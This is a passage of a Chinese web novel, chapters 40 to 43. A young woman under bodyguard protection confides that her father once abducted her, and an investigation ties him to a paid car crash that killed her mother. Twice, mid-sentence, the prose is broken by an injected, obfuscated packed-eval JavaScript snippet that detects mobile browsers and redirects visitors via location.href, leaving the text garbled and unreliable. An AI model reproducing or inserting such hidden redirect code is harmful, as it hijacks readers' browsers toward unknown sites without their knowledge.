工作性质如此,沈离离不再强求,只说辛苦你了。 其实强求过,但对方很大惊失色,郑重表示:“这样我是要被扣工资的。” 只好作罢。 吃完饭,沈离离担心楚姐换班太晚,于是没有在外逗留很久。与陈夏安道别,去买了点水果就走向车库。 电梯里人有点多,楚姐抬起手臂,直接把她护在怀里,像保护小鹅的鹅妈妈。沈离离脑子里冒出卡通画面。 她边想,边笑了笑,刚想和楚姐讲话,忽然,听见电梯叮的一声,同时响起的还有楚姐的喊声。 “站住!想干什么!” 40. 第 40 章 沈离离一惊,反应过来的时候,只感到一阵风似的黑色身影迅速窜出电梯。楚姐条件反射地想追出去,跑了几步,又飞快转回来,面色焦急。 “这是怎么了?”沈离离抬头看了眼电梯显示屏,还没到地下车库。 楚姐回到电梯内,按着耳机低声说:“有个黑色鸭舌帽和口罩,黑色外套深蓝色牛仔裤的男人从一楼电梯出去了,找人跟上。” 交代完,才拉起沈离离的手,围着她转了一圈,仔细检查,“有没有哪里不舒服?” 电梯里剩下的三个男生看戏似的瞧着她们,满脸新奇。 沈离离有点尴尬,连忙说:“没事没事,我都没注意到发生了什么事情。” 很快,抵达地下车库,电梯门一打开,无论是沈离离,还是那三个普通路人男生,全都被震在原地。 外面站了四个平均身高一米八且个个膀圆腰粗的黑衣壮汉,面无表情,目光毫不动摇。 楚姐若无其事地领着沈离离往外走,四人立刻把她围在中间,全方位保护。 沈离离把脑袋埋下去,拼尽全力也没法把自己想象成国际巨星。 直到坐进车里,才终于瘫下去,毫无生气地耷拉着眼皮,盯着虚空。 楚姐:“沈小姐,哪里不舒服!” “没有没有,没事的没事的。” 沈离离飞快坐起来,双手十分乖巧地放在膝盖上,露出一个礼貌的微笑,然后扭头看向车窗外,闭了闭眼,深呼吸。 楚姐看上去真的被她吓到。 回到家,楚姐换班去吃饭,那位一丝不苟的高马尾姐姐来了。 沈离离没有工作的打算,也没有娱乐的欲望——毕竟被一位面无表情的保镖注视着,好像干什么都不太自在。 她百无聊赖地开着电视,然后坐在沙发里刷手机,直到沈燎回家。 自从上次的被跟踪事件发生后,沈燎没再回他那边睡,每晚都来沈离离这儿,必须亲眼看看她的状态才能放心。 听见关门声,沈离离抬起头,看向门口的身影,立刻笑了:“哥!” “嗯,”沈燎进屋,走到她身旁坐下,表情有点严肃,“今天怎么样?我听说在商场遇到了点事?” 她摆摆手:“没事,放心吧,应该是个没得逞的小偷什么的。” 沈燎盯她两秒,她顿时莫名心虚。 “真的没事,”沈离离站起身,转了一圈,“你看,全须全尾好好的呢。” 他抬头看着她,片刻,忽然伸手,手臂圈住她的腿,不费什么力气地将她往怀里带。沈离离站不稳,又不忍反抗,就这么膝盖一折,坐上了他的大腿,扶住他的肩膀,红着脸低头瞧他。 沈燎搂住她的腰,也仰头与她对视。 沈离离被他盯得受不了,飞快弯腰低头,在他唇上点了一下。 柔软的触感轻飘飘落下,又迅速离去。 沈燎没忍住笑出来,“只是让你说实话,有那么难?还用上收买战术了。” “说实话了,你不信,那我也没办法。” 沈离离通红着脸,突然才想起来,保镖还在场,好像就站在他们后面不远处…… 她一瞬间僵住,石化,裂开。 他右臂直接穿过她的膝盖窝,把她的脚都抬到沙发上,这下是完全坐在他大腿上了。 “沈燎,还有人在。” “放心,这些人不会乱说。”他倒是心大。 “不是乱不乱说的问题。” “那是什么问题?” “……你就不会害羞么?” “在自己家里,还要害羞啊。” “……” 他的手还揽着她的腰,怎么有人手臂那么长。她默默想着。 沈燎忽然出声:“兜里塞装了一团纸?”他的手,刚好摸到了她的防晒外套口袋。 沈离离:“啊,都忘记脱外套了。” 她动动腿,往旁边挪,沈燎放了手,让她起身。沈离离摸了摸衣兜,果真掏出来一张皱巴巴的纸巾。 “我没有在这件外套的口袋里装东西呀……”她有些纳闷,缓缓把那张纸展平,目光扫过之后,整个人骤然一怔,话音止住。 沈燎发现她脸色不对劲,站起身,询问:“怎么了?” 他将要看清那张纸的一刻,沈离离下意识把纸捏成一团,握进手心,双手背到身后,然后才飞快抬头看他的眼睛。 她绷紧唇角,满是防备。是在害怕。 但沈燎很清楚,让她感到不安的,不是他,是那张纸。 上面写了什么?是谁给她的?为什么现在才发现? 他蹙眉,眸光微动,说:“离离,是什么?” 她没动,胸腔起伏。沈燎耐心说:“不管是什么问题,多大的问题,我们都能解决,但别自己一个人硬抗。” 沈离离不说话,但表情渐渐放松,眼睛却忽然红了。 她双手垂下,但还是紧紧攥着那团纸,然后缓缓低下头,仍旧不吭声,像做错事的孩子。 沈燎弯下腰去碰她的脸,才发现她哭了。 直到把她拉进怀里,才吸了吸鼻子,发出声音。 “就是之前那个人,对吗?”他声音很冷,语气几乎笃定,“他在电梯里把这个塞进你口袋的?” 她没说话,但哭泣很快停止了,只有身体还在一抽一抽地抖。 沈燎干燥温暖的掌心,将她攥得很紧的拳头握住,并没有试图掰开她的手,只是温柔地包裹着。 他再度把她拉进怀里,偏头轻轻碰她的发顶。 沈燎抬眼,视线对上保镖,眼神示意对方暂时离开。女人点了下头,转身,轻轻关上门。 片刻后,他感觉到,掌心下的那只拳头放松了。 然后就听见了她艰涩的嗓音,“哥,其实……我知道他是谁。” 话音落下,在寂静的屋子里,像石块落水,扑通一声后,没有回响也没有涟漪。 两个人都没有立刻再出声。 沈燎花了几秒钟,来理解她这话的意思。 他松开手,她从他的怀中离开。一个看着对方,一个仍旧低着头,盯着地面。 “谁?”他轻声问。 “我——” 沈离离再次卡顿住,喉咙里像堵了什么东西,说不出下一个字。 沈燎耐心等着,拉她坐在沙发上,蹲在她面前,抽纸来擦她的眼泪。 她最近哭泣的次数有点多,好像是从他回来就开始。 感动的泪,悲伤的泪……这一回,好像是恐惧。可如果非要流泪的话,他只希望她是因为太过幸福。 “是汤振。”沈离离抬起眼睛,目光安静而沉默。她指尖发白,手心沁出一层薄汗,缓缓地,把那张皱巴巴的纸重新展开。 上面用黑色碳素笔写了几个歪歪扭扭的字——小离,见爸爸一面吧。 原来把离离两个字分开之后,单独的一个离,是那么贫瘠。不再茂盛,不再明亮,也失去了生生不息的意思。 - 关瑶的母亲姓黎,她喜欢“li”这个发音,可能是因为念起来清脆又温柔,让人想到梨花,栗子,桃李……反正都是一些温暖漂亮的东西。 也可能,只是会因此想到她的妈妈。 所以,她斩钉截铁地对汤振说,我的孩子无论是男是女,名字必须叫这个。 久而久之,汤振也接受了这个名字,跟着欣赏起来。 但在沈离离出生的那年,似乎发生了大事。当然,具体什么事,关瑶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416234|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说,她就不知道。 总之,去派出所落户的时候,工作人员问:“汤li?哪个li?” 汤振那时已经很气急败坏,张口就说:“离婚的离。” 不难想象工作人员的表情,可能有震惊也可能有怜悯。但没办法,生小孩不需要考资格证,这个人就是成为了父亲。 小孩一岁还不到,离婚后,关瑶理所当然获得了抚养权。 她试图带着小离离在海文生活,可惜只待了三年,因为工作变动,她忙得不可开交。 一个无依无靠的异乡女人,还因为失败的婚姻,被浪费了最青春洋溢的岁月。在海文生存下去,已经耗尽心力,她没法再照顾好一个三岁的孩子。 于是,关瑶放弃了。 她牵着小女孩的手,毅然决然地回到了家乡,开了个小卖部营生。 虽然乡下的人总对妈妈指指点点,虽然坏人好像真的比好人多,但沈离离的童年,关瑶从没缺席,因此一直以来都是幸福又快乐的。 沈离离说过:“妈妈,你不应该放弃的,当时可能再熬一年,你就能升职加薪,没准会过得比现在还好。” 关瑶沉默了好久,最终,她摸摸沈离离的脑袋,说:“但我最不能放弃的是你。” 在沈离离印象里,关女士从来洒脱又自信,好像不管多浓多重的雾,都不会让她迷茫。 只有两个时刻,沈离离感受到了她的脆弱。一个就是这次对话,让她知道,在遇见沈君良之前的很长一段时间里,关瑶其实是靠着她走过来的。 另一个时刻,是在她六岁那年。 “那年,发生了什么?” 刚才沈离离随手打开了电视,讲故事对她来说有点难,在过分安静的屋子里,对沈燎讲她自己的故事,似乎更难。只好再增加一些背景音,无论如何,总会把沉重削弱一点。 她的心跳已经平复下来,望进沈燎的双眸中,更让她感到安宁。 “那年,汤振好像是生意搞砸了,很缺钱,主意打到我妈妈头上。但吃了好几回闭门羹,又被我妈妈报警抓走,拘留了好几天。” “嗯。”沈燎安静地听着,始终握着她的手。 “然后……他就,把我偷走了,大概,半年吧,好像是八个月……”说到这里的时候,沈离离表达得有点困难,不是哽咽,而是记忆模糊。 她停下来想了想,继续说:“他把我关在,一个车库里面,我哭的时候,他就跟别人说,这是他小孩,脑子有问题……” 沈燎指节收紧,眉头紧锁,终于忍不住,轻声打断:“离离,可以了,我们不讲了好不好,这些已经够了。” 沈离离反而扯出一个笑,“其实讲出来也挺好的,一直逃避,只会更害怕吧。之前,我问过我妈妈,为什么能改名了还是要用离字,她特别认真地跟我讲,离离和离,是不一样的。” 他心如刀割,深深看着她,接出了下一句话:“离离原上草的离离,是青草茂盛的样子。” 两个人望着对方,眼眶全都红了。 沈离离却突然笑了一下。 接着,她捧着他的脸,凑上去亲了亲他的下巴,怀抱着期待,问:“哥,我安全了,对吗?” 沈燎一把将她按进怀里,搂着她的肩背,亲吻她后颈。他抱得很紧很紧,两人的肋骨几乎挤压在一起,心脏相贴,不分彼此。 怀里的女孩子纤瘦,轻盈,像羽毛,又像蝴蝶,好像下一瞬就会飞走。 可他不想揉碎她那颗晶莹剔透的心,也不想叫她学会坚强,学会用泥土包裹自己。他只想充当一座桥,托着她,不让她坠落,不让她孤单,一座能够让她更安稳地走入这个世界的桥。 忽然间,沈离离后颈的皮肤感觉到了浅浅的,湿润的凉意。 41. 第 41 章 沈离离已经有很多年没有梦见过从前了。 这里的从前,准确来说只是指生活在车库的那几个月。 汤振总是很忙,那间屋子里总是很臭。 他会定时定点给她吃饭,也会偶尔把她带出来,用一根半米的绳子,把她的手腕和桌脚栓在一起。如果她哭闹不止,他就会直接锁上车库的门,放任她大喊大叫,无人应答。她那时候完全不相信这人是自己的父亲。 不过,也不全都是不好的回忆。 比如,隔着墙壁传来的电影的声音,没有画面,大多都是英文电影,她一个字也听不懂,但她能听懂音乐。 有的音乐让她感到悲伤,有的,又能让她快乐,或者一些无法确切表达的情绪。在那间小小的车库里,狭窄,拥挤,寂静,只有贴着那面墙,能听见各种各样的声音。 后来她才知道,隔壁并不是一间车库,而是一个电影爱好者改造的私人影院。 妈妈找到她的时候,已经过去半年。小女孩的牙齿不知什么时候掉了一颗,浑身脏兮兮,指甲里都是黑色污垢,而且,她不会说话了。 刚把她接回家的几天,关瑶夜夜以泪洗面,后来在沈君良的帮助下,带着离离去检查身体,做心理疏导…… 接着,就是发现她对音乐的兴趣和天赋。 说是梦,不如说是回忆。 沈离离醒来后,恍惚了好一阵,闭上眼睛,差点又睡过去,拼尽全力才从床上坐起来。 昨晚聊了好久,上床睡觉时差不多是凌晨。 她还记得自己后来又掉了几滴眼泪,现在走进卫生间,对着镜子一看,素净白皙的面孔上,眼睛果然是肿的。 沈离离将毛巾打湿,贴在脸上,按着眼睛捂了一会儿,冰冰凉凉的感觉,在夏天很是舒服。 磨蹭了半天,沈离离才打开房间门,竟然听见客厅里有陌生人的声音。 她看了眼时间,早上十点半,今天是工作日,沈燎应该已经去公司了。 但屋外还有保镖在,她不信沈燎会随便放陌生人进家门。 站在楼梯口犹豫的时候,下面的说话声忽然停了,传来熟悉的呼唤。 “离离,起了吗?” 她趴在楼梯扶手往下看,沈燎仰着头,冲她招了招手。 沈离离飞快跑下楼,看见客厅里站了楚姐和另一名黑衣男保镖。 “你今天,不用去公司?”她走到沈燎旁边,小声问他。 “两天不去没关系的,”沈燎照例揉了揉她的后脑勺,“先去吃早餐。” 她站着没动,看了眼一声不吭的两位保镖,又望向沈燎,“是关于汤振的事吗?” 沈燎也没打算瞒着她,点头说:“嗯,我叫他们去查查看。早点解决,早点安心。” 沈离离抿了抿唇,犹豫了两秒,还是说:“哥,如果有需要我的地方,你尽管说,别闷着。” “怎么会闷着。把我想成什么样的人了?”他笑了一下。 沈离离心中默默想,你就是那种总是固执地要把我护在身后的人啊。 “我去吃早餐,你们继续吧。”她一溜烟离开了客厅。 交代好事情,两名保镖都离开了。沈燎正要去看看离离,手机却又响起来。 来电人:陆凯鸿。 他差点以为是自己眼花。 握着手机等了几秒,电话还是没有挂断。他脸色凝重,一直走到了阳台,才按下接听键。 没有一个人说“喂”,电话两头都沉默着,默契地等待对方先开口。 差不多五秒过去,僵持不下的氛围,终于被陆凯鸿先一步打破:“最近过得怎么样?” “一般。”沈燎飞快说。 陆凯鸿似乎也料到了他的态度,听到这么敷衍的两个字,连一点火星子都没有了。 因为知道发脾气对这个儿子没什么用,沈燎从小就不是喜欢跟大人顶嘴的那种小孩。他表面功夫永远做得很好,但谈话结束,挂了电话,仍旧走他的路,绝不悔改。 于是,陆凯鸿也不再进行无意义的寒暄,直入主题:“你最近是不是请了很多保镖,出什么事了?” 沈燎吐出几个字:“你监视我?” “这叫监视?!”火气还是噌一下冒上来了,“你是我儿子,你的动向,我还不能知道了?” 沈燎无动于衷,轻飘飘来了句:“都是成年人了,给彼此留点空间吧。” “我告诉你!沈燎,不管你长多大——”陆凯鸿还要再发作,话音忽然止住,被什么东西噎到似的。 不出意外,沈燎隐隐约约听见了陆涵音的声音。 他叹了口气。 把手机放下,打开免提,手肘杵在阳台上,安静地看着别墅外的绿化带,等着这老头平复情绪。 过去半分钟,陆凯鸿的声音再次传来:“还在不在?” “在。” “我就问一句,”他沉着声音说,“是你出问题了,还是那个沈离离?” 沈燎蹙起眉,垂下眼睛,看了眼手机屏幕上的通话页面,有点想挂电话。 他忍住了,回道:“都一样,她的事就是我的事。” 陆凯鸿:“我提醒你,我可听说了,她是要彻底脱离沈家的,你少做吃力不讨好的事情。” 虽然沈家也没有正式承认过她,但主动断绝关系,终究不太好看。 沈燎忽然扯出一个笑,带了荒谬的意味。 他吸了口气,然后语气很平和地说:“这个世界上,不是所有事情都要讲利益。沈离离是我妹妹,这辈子都是,跟她姓什么没有关系。” “我还是你爸呢!” “你真把我当过你们家的人?” 对面骤然顿住。 沈燎仿佛看见一口气隔着千万公里飘到了陆凯鸿那里,堵住了他的嗓子。 他语调仍旧平静,说:“我还是那句话,沈离离的事就是我的事,她幸福,我就满足,她痛苦,我也生不如死。你可能不知道,这叫做家人。” 他手指落下,果断挂了电话,然后迅速滑下屏幕,给手机开了飞行模式。 世界安静了。 沈燎的目光却有几分茫然,他还是站在阳台,面对着葱郁树木,盛夏蓝天。但视线不知道应该落在哪里。 好一会儿,后面忽然有女孩子的声音。 “哥!等会儿一起看电影吧。” 他的手臂被拍了一下,低头,视线聚焦,看见沈离离的笑脸。 - 这一天,两个人都过得有点焦灼,应该感到紧张的,真实情况却是百无聊赖。依偎着看完电影,沈离离摸上沈燎的床,拉着他的手睡了个午觉。醒来,又是各自忙工作。 吃完晚饭,黄昏已至。 才八点不到,沈离离玩手机玩得发困,晃晃悠悠地去了书房。 往里瞄了一眼。书房内,沈燎正盯着电脑屏幕,眉头微皱,很认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柔软湿润的吻从喉结一路往上,到下巴,唇角……他忽然张开唇,轻而易举撬开她的唇齿,轻轻吮她的舌尖。 沈离离的身子顿时软了,心跳飞速,要不是他手臂托着她,恐怕要整个人摔下去。 心跳不受控制,呼吸也越来越困难,她有样学样,也开始拼命从他那里掠夺氧气。 相扣的十指不知什么时候松了,她抓着他的衣服,被他两手搂着。攻势猛烈,让人忘记一开始到底是谁先谁后。 “不行……”沈离离躲开他,大口喘气,脸红得滴血,“可以了……” 她趴到他肩膀上,抱着他的脖子不撒手。 “是谁先惹的火?”他带着笑,轻声说,气息呼在她后颈,又是一阵酥痒。 沈离离不吭声,不轻不重地锤了一下他的后背。 他笑意更浓,还想再说话。这时,手机屏幕亮了一霎,沈燎投去目光,忽然身子一顿,眉头皱起来。 沈离离察觉到,抬起头问:“怎么了?” 沈燎没答,沉默着拿起手机,给她看。 是楚姐发来的消息:沈总,汤振和八年前东文公路的那场车祸有关系。 42. 第 42 章 不需要更具体的信息,这个时间和地点,就足够沈离离瞬间猜出是哪件事。 她盯着手机屏幕,又抬眼看向沈燎,唇微张,但没有发出声音。 说不出话,也不知道应该说什么。 有点茫然,两件原以为毫不相关的事情,忽然被扯在一起了。就像原以为轻易能理清的线团,倏然变成庞然大物。 沈燎拍了拍她的背,轻声说:“先别急,等明天具体情况出来了再处理。” “最快也要到明天吗?”她抬眼看着他。 沈燎停顿了一下,声音稍沉:“对,今晚好好睡觉,别多想,知道吗?” 她垂下眼,没有其他表情,抿了抿唇,嗯了一声。 与沈离离道了晚安,亲眼看着她关上房间门后,沈燎直起身,一直走到露台才拨通电话。 半小时,沈燎准时开门,楚姐朝他点头,打招呼:“沈总。” 沈燎说了声:“辛苦你们。” 女人摇了摇头,把文件交给他,一边压低声音说:“十四年前,汤振因为非法拘禁被判了十年,坐了五年牢假释出来。最近之前,他一直在东城活动,但具体做的什么生意,我们今天没查到,可能还需要点时间。” 沈燎接过文件,没有立刻打开。 楚姐的话说得隐晦,但在他听来已经够直接。汤振很大可能在做非法生意。 “行,你们再好好留意。”他抬眼,问:“和那场车祸有关,是什么意思?” 这也是他最关心的,和沈离离直接有关的事情。 八年前,关瑶和沈君良就是在东文公路发生严重车祸,抢救无效,意外离世。货车肇事司机于广通负全责,最终坐了几年牢。 但无论如何,他也无法偿还两条人命。 “汤振和于广通有联系,”楚姐说,“于广通是海文于乡人,出狱后带着老婆儿子搬到海文,在六中外面开了一家早点店营生。七月十九号,汤振来到海文,第一件事就是去早点店找于广通。” “他们这三个星期一直有联系吗?” “明面上没有,通讯设备不确定。汤振很谨慎,戒备心也强。” 沈燎眉头紧锁,紧紧闭了闭眼,抬手捏眉心,“你们继续去盯着汤振,再好好查查于广通,还有八年前那件事。” “好的。” 八年前的车祸,当时也已经好好调查过,但丝毫没有发现任何人为的蛛丝马迹。 于广通只是个往返于东城和海文的货车司机,上有老下有小。出事后,他赎罪的态度也真诚,没有逃逸行为。 但只要有一点可能性,沈燎都不会放过。 更何况,线索已经自己走到他们面前了。 楚姐走后,将门轻轻带上。沈燎关了灯,走进书房,取出文件袋里的东西。 里面有汤振的档案,还有他最近的活动记录,比楚姐说的更加详细。从文件里看,汤振果然从来到海文,就开始寻找沈离离的下落。 他欠了一笔巨款,东城的家也已经很久没回去过,连续好几天四处逃债。 找沈离离,恐怕就是因为这件事。他要钱。 如果只是钱的问题,打发走了也就算了。但偏偏这人越查越可疑,现在还牵出了八年前那场车祸,不把事情弄个水落石出,必然后患无穷。 沈燎低头仔细地看着档案,思索着,忽然,被一道声音惊了一下。 “还不睡么?”是沈离离。 他抬头,看见她穿着睡裙,站在门口,目光平静地望着他。 沈燎愣了两秒,第一个念头是,她什么时候出房间的,是不是已经听到了他在楼下和楚姐的对话…… 不会,应该不会,否则不可能那么淡定。 于是沈离离下一句话就是:“对了,我都听到了,就你们刚才说的那些。” 沈燎:“……” 他深吸一口气,又叹出来,说:“对不起,不是有意瞒你。” 她摇摇头,走进来,对他说:“我知道你是不想让我烦恼,打算自己把这些事解决。可是这些其实原本就是我的事。” 他看了她两秒,随后从桌后站起身,和她一起到书房的软沙发里坐下。 “离离,我能处理好的事情,没必要把你再牵扯进来。” 沈离离说:“但如果没有我,你们想查清楚得花不少时间吧。” 沈燎神色一动,瞬间读懂了她话里的意思,“你还知道别的事?” 她没回答。 他顿了顿,软下声音,但想法不变,说:“你知道的,我不可能让你再陷入那种危险境地。” 沈离离看着他,“你又食言。” “……什么?” “说好不会再把我当做小孩来对待。” 他微愣。 “我知道,我知道你是怕我出事。”她垂下眼眸,声音轻轻的,语气很平和,“但是哥,你得让我走到前面,我不是小孩,我必须学会长大,我也可以保护好自己,而且……想让你轻松一点也不可以吗?不是只有你一个人会担心,我也想要分担你的苦。” 沈离离抬起头。 沈燎望着她,沉默了好几秒,情绪复杂。 对着她固执的眼睛,良久,他轻扯唇角,叹了一声后缓缓抬手,抚摸她的后背,“好,那就一起。” 两天后的清晨,楚姐带来了新的证据。 不过,同时带来的还有:“沈总,是陆总给了我们一些陆家的权限才查到的。” 沈离离抬头:“陆伯伯么?” 沈燎有点头疼地捏了捏眉心,嗯了一声。 沈离离看他的神色,不太理解,“他肯帮我们,不是很好吗?” “是很好。”不过又得还他人情了。 他没多说,把这事跳过去了,问楚姐:“情况怎么样?” 楚姐把屏幕递过来,上面是两段很模糊的监控录像,“八年前的三月十七号下午,汤振和于广通都从这条街走过去,时间相隔半个小时。晚上,他们也相隔半小时从这里经过,往回走。” 事情已经过去八年之久,就算当时确实有证据,如今也很难再找到。这段模糊的监控录像固然珍贵,但可能根本不足以立案。 楚姐不会不知道,于是继续道:“还有,我们发现,八年前,在于广通用儿子的身份证办的一张卡里,每个月都有一万块转进来,持续了三年。第一次转账,是汤振出狱的第二个月。” 沈离离脸色惨白,不可置信,“三十六万,买两条人命?” 沈燎看向她,立即把她的手拉来握住,发现她手很凉,掌心沁出薄汗。 他眉头紧锁,问:“转账的账户呢,能查到吗?” 楚姐摇头,说:“都是临时的,很快就注销了。” 沈离离起身去倒水喝,连腿也有点发软。 听见楚姐继续说:“于广通八年前欠了一屁股债,后来全部被他老婆一点点还清了,他出狱后,一家人突然到海文买了房子。但只看她老婆和儿子的工资,是不可能负担起的,尤其是八年前的高额贷款。” “这些钱,他们怎么解释的?” “远房亲戚帮助的。” 沈燎忍不住发出一声嗤笑。 沈离离抿了抿唇,握着杯子,随后把里面的水一饮而尽,走过来 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这个开头,比他们想象得要好一点。两秒警官对视一眼,继续后面的问题。 从八年前那起车祸开始,一直到儿子卡里查不到来源的钱,以及,突然被还清的贷款,海文城区的房子…… 八年前,他干传销被骗,倾家荡产,欠下高额贷款,妻子每日在家大哭,一整天神志不清,街坊邻居都叹气说这婆娘疯了,以前多贤惠勤快啊。 儿子呢?儿子也要读不起书了,天天骂他,踹他,离家出走好久没回来了。 就是这个时候,汤振找上他了。 两人在没有监控的小巷子碰头。 刚出狱的男人,剃了平头,瘦得像猴子。他们以前是初中同学,后来读不下去,双双辍学,只有小学文凭。但于广通记得,那时候汤振还没有如此精明的一副嘴脸。 用人命换钱,起初他是万分惊恐,死不答应的。 汤振咬着一根烟,猛吸了一下,缓缓用鼻子呼出轻飘飘一小片烟气,玩着打火机,说:“不是用人命换,是用坐牢换。” 他咧嘴一笑,凸出的眼球盯住于广通,“知道我哪来那么多钱给你吗?也是用坐牢换的。那些都是该死的人,该死的人不死,就轮到咱们日子难过。” “什么……什么意思?”于广通抖着唇,问,“坐牢,换什么钱?” “你妈的脑残啊你!有人想要那两条命,他们杀人你坐牢,他们就给你钱,听懂了吗?” “所以,不是我去杀人?” “对咯。” 但最终,他不知道怎么的,还是开着车上了路。 不是汤振喊他上的,是汤振后面的人,是给钱的人。但汤振笑得最大声,那天他才知道,要死的其中一个人是汤振前妻。 两辆车撞上的时候,于广通整个人都傻了。确认死亡后,大脑宕机,嗡嗡一片。 全都来不及了。他迷茫得像个孩子,电话里的人叫他做什么,他就做什么,只要能赚钱,只要能让老婆好起来,让儿子好好念书。 于广通满头大汗,声音始终很小,抖得不像话,但所有问题都一五一十地交代了。 他似乎胆子很小,乍一看,甚至会觉得这大概是个老实本分的普通男人,丢进人堆里,就能迅速与人群融为一体,没有丝毫特别的地方。 但也许欲望就是这样强大的东西,它不止是钱或者权,也不一定都是为自己。 43. 第 43 章 汤振被通缉的那天,海文下了很大的雨,终于把盛夏暑气赶走不少。 沈离离望着窗外大雨,忽然想起了一些久远的记忆。在小车库外的狭窄储物间里,那个时候,汤振的衣服上好像有一股奇怪的焦臭味。 日落,沈离离接到了沈君玉的电话。 听说了最近的事,姑姑急切地问她,人怎么样,有没有受伤,目前到哪一步了…… 沈离离握着手机,认真把事情来龙去脉讲了一遍。最后说:“姑姑,放心吧,会没事的。” 沈君玉叹了口气,声音柔和下来:“你们这些孩子,遇到事情就知道硬抗,也不跟家里说一声。” “我们能处理好的,也是怕您担心嘛。”她笑着说。 沈君玉说:“你和你哥,只要兄妹俩的心在一处,我倒是很放心的。” 沈离离停了停,笑容有些挂不住了,在思考这话是不是还有别的意思。 她回:“对方的事情,我们两个都肯定不会袖手旁观的。” “那就好啊。其实这一点我从不担心,你们都很看重对方。” 沈离离:“姑姑也一样呀,我们是家人嘛。” 姑姑只笑,“所以,你们兄妹遇到事情,以后记得跟家里说,姑姑能帮一点是一点。” “嗯嗯,一定会的。” 两人又就着这事聊了很多,话里话外,姑姑的意思都是叫离离放轻松,无论是沈燎还是自己,都能帮她处理好的。 沈离离没反驳,认真听着,笑着道谢。 最后,姑姑停顿了几秒,说:“明天中午来我这边吃顿饭吧,一家人,一起商量一下这事。” 沈离离点头应了好。 挂了电话,脸上的笑容才一点点褪去。她给沈燎发去消息,把明天去姑姑那儿吃饭的事情告诉他。 第二天是周末,沈燎不用去公司,两人睡到自然醒,起床就去姑姑家。 车上,沈燎开车,沈离离坐在副驾。 忽然听见他说:“离离,是不是不想让姑姑介入这件事?” 她稍愣,转头看了他一眼。沈燎目视前方,这一回,车开得很慢。 沈离离勉强笑了笑:“确实有点不太想。总觉得,被外人知道我父亲是汤振那样的人,有点难为情。我知道他是什么样的人和我没有关系,也知道姑姑是关心我,不会那样想,但就是有点控制不住。” “我明白。这没关系,不想就拒绝,就算是帮助,我们也有拒绝的权利。” 他嗓音温和平静,没有说教意味,好像只是在叙述一个事实。 沈离离盯着他看了好一会儿,才转回头,重新望向前方,“嗯。” 来到姑姑家,仍然是一桌盛宴,怎么看都是出自专业厨师之手。 沈君玉很担心沈离离的状态,神情忧愁,拉着她反复问了好些事情。 沈燎笑说:“姑姑,怎么还把她当小孩子。” “本来就还小呀。” “其实就算没有我,她也能保护好自己。明年都要一个人去国外上学了。” “但这些复杂的事,还是太超出她处理范围。” 沈离离笑了笑,说:“万一是命运安排,走过去就好了呢。您真的不用担心,真到了实在不行的那一步,我肯定会主动找你们的,但在那步之前,我是要学会自己面对了。” 姑姑笑望着她,然后轻轻拍她的肩膀,“离离,可能姑姑真是把你当孩子太久了。” 饭后,两人一起陪沈君玉到花房喝下午茶。三个人围着白色铁艺圆桌坐下,享受温室内宜人的温度。 沈离离抬头看沈燎,忽然收到了他的视线,会说话的那种视线。 心有灵犀似的,她一下子就读懂了。 闲聊了几分钟,沈离离不经意抬眼四顾,忽地眼睛一亮,指着不远处开得正盛的一片绣球说:“我去看看那个,以前好像没见过那么多颜色的绣球花。” 姑姑笑着点头,她兴致勃勃过去拍照欣赏。 沈燎目光追随着她的身影,望见她脸上的笑,神色也情不自禁变得温和。 沈君玉抿了口茶,默默盯着他看了几秒。 “小燎。”突然出声。 沈燎乍然回神。 “刚才故意给离离眼色,是有事和我说?” “被您看出来了。”沈燎并没有被戳穿的尴尬,反倒轻松笑了笑。 “我猜,是和你爸爸有关?” 他点头,放下手里的陶瓷小茶杯,抬眸看向沈君玉,语气平静:“他大概今晚到海文,说有东西要亲手给离离,送完东西,明天回一趟南州。” 沈君玉眼睫下垂,看着瓷盘中间的圆形繁花底纹,许久没作声。 沈燎:“他和……他两年前就已经离婚了,我姐病重,来不了,这趟只有秘书跟他一起过来。” “离婚?病重?”她眉头微蹙,疑惑的神色。但下一刻,人就定住了,瞳孔微微放大,好像一切都明白了。 “这三年,你是因为这件事才回不来。” “是。” “现在呢,是什么情况?” “我没要他的东西,我姐设了个慈善信托,”沈燎语气平淡,好像在说的只是今晚吃什么一样的小事,“反正他的钱和公司都有人管理。” 沈君玉先是点了点头,过了几秒,才嗯了一声,轻轻地长叹一口气,“他现在的处境,都是应得的。” 沈燎:“应不应得,都无所谓了。” 大概十分钟,沈离离蹲得腿有点酸了,忽然一片阴影落下,将她罩住。 抬头看,果然是沈燎。 他朝她伸手,稍稍逆光,眼眸带笑,挑眉说:“不愿走了?” 沈离离立刻回神,握住他的手被他拉起来,笑说:“确实舍不得,以前真没觉得花那么漂亮,今天好像看出点名堂了。” 他语气随意,“喜欢的话,回家也种一片,正好把花园翻修一下。” 沈离离:“花园那么大。” “那不挺好的?”他笑笑。 “没人打理呀,”她叹气,“再过一年我就要出去了。” 沈燎轻轻捏了捏她的手心,目光定在她的脸上,“还有我在呢。” 她对上他的视线,那样郑重的眼神,让她心跳快了几分,“你会种花?” “不会。” “那还说……” “不会可以学啊。”他的眼睛还在笑,接着说:“正好,有一座花园陪我一起等你回家。” 沈离离感觉自己的耳垂又开始发热了。 沈燎笑着揉了揉她的头发,“走吧,回家了。” 与姑姑道别,回家路上又去了趟超市,到家刚好是饭点。 吃完饭,沈离离才想起来,问他:“刚才你和姑姑在聊什么?那么神秘,还不让人听。” 沈燎沉默了几秒,在组织语言,该怎么把这些事从头到尾讲给她听。 